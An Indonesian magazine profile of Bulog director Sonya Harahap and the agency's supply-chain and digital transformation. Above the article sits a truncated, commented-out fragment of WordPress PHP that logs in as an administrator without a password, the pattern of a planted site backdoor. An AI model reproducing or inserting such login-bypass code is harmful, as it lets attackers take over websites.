user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Profile
Sonya Mamoriska Mulia Harahap Mengawal Transformasi Bulog

17 Aug 2024

Sonya Mamoriska Mulia Harahap, Direktur Transformasi dan Hubungan Kelembagaan Bulog sejak Desember 2023. Foto: Dok. Bulog


"Bulog itu lembaga yang paling banyak disorot oleh berbagai stakeholder, pemerintah, LSM, hingga masyarakat; karena langsung terkait dengan pangan, hajat hidup orang banyak. Kalau panen harga turun, yang teriak petani. Kalau paceklik beras tidak ada, yang teriak konsumen ibu-ibu," cerita Sonya Mamoriska Mulia Harahap, Direktur Transformasi dan Hubungan Kelembagaan Bulog, membuka perbincangannya dengan Femina. 


Karena itu, salah satu tantangan terbesar bekerja di Bulog, menurut wanita yang akrab disapa Sonya ini, adalah bagaimana agar Bulog bisa lebih dekat dengan masyarakat dan memastikan program-programnya memberikan dampak langsung bagi mereka. Apalagi saat ini Sonya memegang posisi yang sangat penting dalam menggerakkan transformasi di dalam Bulog. 

Ditemui di sela-sela sesi pemotretan Srikandi Bulog dari seluruh Indonesia yang berlangsung di Kantor Wilayah Bulog DKI Jakarta, wanita yang telah berkarier di Bulog sejak tahun 1998 ini kemudian bercerita banyak tentang transformasi Bulog yang kini sedang berjalan. Transformasi ini diharapkan dapat memajukan Bulog ke arah yang lebih modern dan profesional. 

“Untuk Bulog ke depannya kami harus lebih engaged ke masyarakat. Pekerjaan kami harus ada dampaknya ke masyarakat. Nah, ini yang kemarin terkadang kami lupakan; Bulog belum cukup mendekatkan diri ke masyarakat. Ke depannya, kami harus lebih dekat ke masyarakat,” ungkap Sonya tentang proses transformasi ini.

Transformasi dari hulu ke hilir

Sebagai Direktur yang mengawal langsung transformasi Bulog, tanggung jawab Sonya sangat besar. Ia harus memastikan setiap program transformasi yang sudah dipetakan bersama konsultan profesional dapat berjalan on track.

"Divisi Transformasi menyusun programnya, kami monitor setiap pekerjaan, tanggung jawab di setiap bidang, serta bagaimana menyelaraskan setiap program. Misalnya dulu Bulog tidak punya SDM on farm, nah, sekarang HRD harus menyediakan. Artinya, ada skill set baru yang berbeda, yang perlu dipersiapkan. Fungsi kami adalah menyelaraskan setiap program hingga bisa berjalan dengan baik," jelas Sonya.

Lebih lanjut Sonya menjelaskan bahwa transformasi Bulog yang mulai bergulir sejak tahun lalu ini mengarah pada transformasi bisnis dan akhirnya didukung oleh transformasi digital.

"Transformasi bisnisnya adalah dulu kami sebagai operator yang bermain di tengah melakukan logistik pangan. Kini, kami bertransformasi menjadi perusahaan supply chain end-to-end, menjaga ketahanan pangan dari hulu ke hilir, dari petani hingga konsumen," ungkap wanita yang sebelumnya menjabat sebagai Kepala Pusat Perencanaan Strategis dan Manajemen Risiko Bulog itu. 

Sonya (tengah, baju putih) meninjau produksi gabah petani dari dekat, karena transformasi Bulog dari hulu ke hilir. Foto: Dok. Bulog


Sonya lalu mencontohkan kegiatan dari hulu ke hilir yang kini dilakukan Bulog. Di hulu misalnya, Bulog berinteraksi langsung dengan petani, tidak hanya dengan membeli gabah dari petani, tapi juga budi daya dan meningkatkan produktivitas petani. Salah satunya melalui program on farm Mitra Tani; Bulog memberikan modal kerja ke petani juga penyuluhan untuk menerapkan budi daya padi yang baik untuk meningkatkan produktivitas, dan kemudian membeli hasil panennya.

Di tengah, tidak hanya sebagai logistik, Bulog juga memiliki beberapa titik pengolahan dengan adanya pabrik pengolahan beras, pengolahan jagung, termasuk gudang pusat distribusi. Sedangkan di hilir, Bulog lebih mendengarkan konsumennya. Saat ini beras Bulog sudah ada di retail-retail dalam bentuk beras premium. 

"Untuk mengintegrasikan dari end-to-end, kami perlu digitalisasi. Di sinilah kenapa kami perlu melakukan transformasi digital agar kami lebih efisien," kata Sonya. Melalui digitalisasi, Bulog berupaya meningkatkan efisiensi pengelolaan beras, khususnya dalam hal distribusi dan penyaluran.

Kemampuannya dalam merumuskan strategi dan menjalin hubungan menjadi kunci utama untuk membawa transformasi positif bagi perusahaan. Bisa dibilang, skill inilah yang utama dimiliki oleh Sonya hingga ia beberapa kali dipercaya membuat perencanaan dalam berbagai program yang membawa perubahan bagi Bulog di masa mendatang. 

"Saya bukan pertama kali mengawal transformasi di Bulog ini. Pertama, tahun 2003 saya mengawal transformasi Bulog dari LPND (Lembaga Pemerintah Non Departemen) menjadi Perum (Perusahaan Umum). Saya masih staf, tapi saat itu dijadikan champion-nya, untuk membantu transformasi tersebut. Itu transformasi yang cukup besar, dalam konteks status hukumnya. Kami lepas sebagai PNS, dan menjadi pegawai BUMN," cerita Sonya.

Advertisement
Maka, ketika ia kembali mendapatkan amanat untuk mengawal transformasi jilid kedua ini, Sonya menerima kepercayaan tersebut. "Senang juga masih dipercaya untuk melakukan transformasi saat ini. Apalagi selama ini saya kerja di tempat-tempat yang banyak merintis," ujarnya. 

Tak patah semangat karena rintangan

Ia memang sosok wanita yang dilahirkan dengan semangat dan tekad tinggi. Hal tersebut terlihat jelas dalam perjalanan hidupnya, bahkan sejak masih muda. Sonya menyelesaikan pendidikan sarjananya di Boston University, AS, dan meraih gelar S1 dalam Teknik Komputer. Namun, ambisinya tidak berhenti di situ. Ia lalu melanjutkan pendidikan S2 dalam Administrasi Bisnis di Melbourne Business School, Australia. Puncaknya, ia meraih gelar S3 dalam Manajemen Strategik di Universitas Indonesia.

Tidak heran jika dalam kariernya ia dipercaya untuk melakukan banyak perencanaan yang membawa Bulog meraih berbagai pencapaian positif. Kerja sama strategis dengan berbagai pihak juga berhasil dibangun, memperkuat posisi Perum Bulog dalam mendukung ketahanan pangan nasional. 

Kemampuan wanita kelahiran Medan, 26 Maret 1969 ini, dalam merumuskan strategi dan menjalin hubungan menjadi kunci utama dalam membawa transformasi positif bagi perusahaan. Sonya juga memiliki visi dan misi yang tajam dan jelas dalam memajukan Bulog.

Sonya menerapkan gaya kepemimpinan partisipatif, walau bisa otoriter juga tergantung situasi. Foto: Dok. Bulog


Karena itu, ia tak patah semangat ketika harus berhadapan dengan rintangan. Diakui Sonya, tidak mudah untuk menggerakkan sebuah transformasi dalam organisasi yang sudah berusia 57 tahun ini. Tantangan terbesar adalah resistensi.

"Karena sudah berada di zona nyaman, apa yang mereka tahu adalah apa yang mereka kerjakan dua puluh tahun terakhir ini. Sudah enak duduk, tiba-tiba disuruh bangun dan pindah, pasti banyak yang nggak suka. Tadinya teman bisa jadi konflik," katanya, tersenyum. 

Tapi Sonya berusaha untuk meminimalisasi benturan tersebut. Menurutnya, transformasi yang dilakukan Bulog saat ini memang harus berjalan, karena sudah menjadi satu tuntutan; meskipun itu artinya harus memaksa orang lain. Dan itu sulit!

"Bagaimana kita bisa meyakinkan mereka bahwa cara kerja yang baru ini akan membawa lebih banyak kemudahan untuk pekerjaan di masa depan. Saya berusaha untuk meminimalisasi; agak lelah juga kalau harus menghadapi konflik setiap hari dengan segala alasannya," kata wanita yang dikenal sebagai sosok cerdas dan memiliki integritas tinggi ini.

Salah satu langkah yang diambil adalah membuat benchmark ke luar. "Sesama BUMN dululah. Lihat bagaimana mereka sudah berhasil bertransformasi. Contohnya kereta api, bagaimana KAI bisa meningkatkan pelayanan ke konsumennya, serta performanya, sebagai perusahaan dia untung. Kalau untung, kan, ada jasa produksi, yang akan dibagi ke karyawan, jadi merata semua akan dapat. Lebih transparan, lebih banyak yang bisa merasakan," jelasnya.  

Untuk generasi penerus

Di lain sisi, Sonya melihat bahwa transformasi yang baru saja dimulai Bulog ini menjadi bekal baru untuk generasi penerus dalam memberikan pelayanan terkait ketahanan pangan nasional.

"Ini adalah untuk masa depan Bulog. Kami siapkan untuk generasi ke depannya; mereka siap dengan digitalisasi, bisa melakukan penugasan dan pelayanan ke pemerintah dan masyarakat dengan lebih baik," ungkap Sonya. 

Karena itu, Sonya sangat memotivasi 80% karyawan Bulog yang masuk dalam golongan Milenial dan Gen Z untuk mau mengubah mindset. Inilah proses tersulit: Mengubah mindset, menjadi melek digital, agar bisa memberikan layanan lebih efisien dan efektif.

Dengan gaya kepemimpinannya yang inspiratif dan inovatif, Sonya menjadi salah satu sosok pemimpin teladan bagi para karyawan Bulog. Dedikasi dan komitmennya terhadap ketahanan pangan nasional patut diapresiasi, dan kegigihannya dalam mewujudkan visi dan misi Bulog pantas dihormati dan dibanggakan. 

"Menurut saya tidak ada best-style leadership. Tapi saat ini, saya rasa gaya kepemimpinan partisipatif lebih cocok; saya bisa mendapatkan masukan dari teman-teman yang lain. Tapi kalau saatnya saya harus otoriter ya, saya akan melakukan itu," kata Sonya, yang memanfaatkan akhir pekan dan liburan untuk quality time bareng anak dan keluarga, menutup perbincangan dengan Femina.

Rias wajah: Wardah IG @wardahbeauty
Busana: Kyoot Art Galore @kyootartgalore



Faunda Liswijayanti


Topic

#bulog, #transformasi, #womenleadershipnetwork, #WLNFemina

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?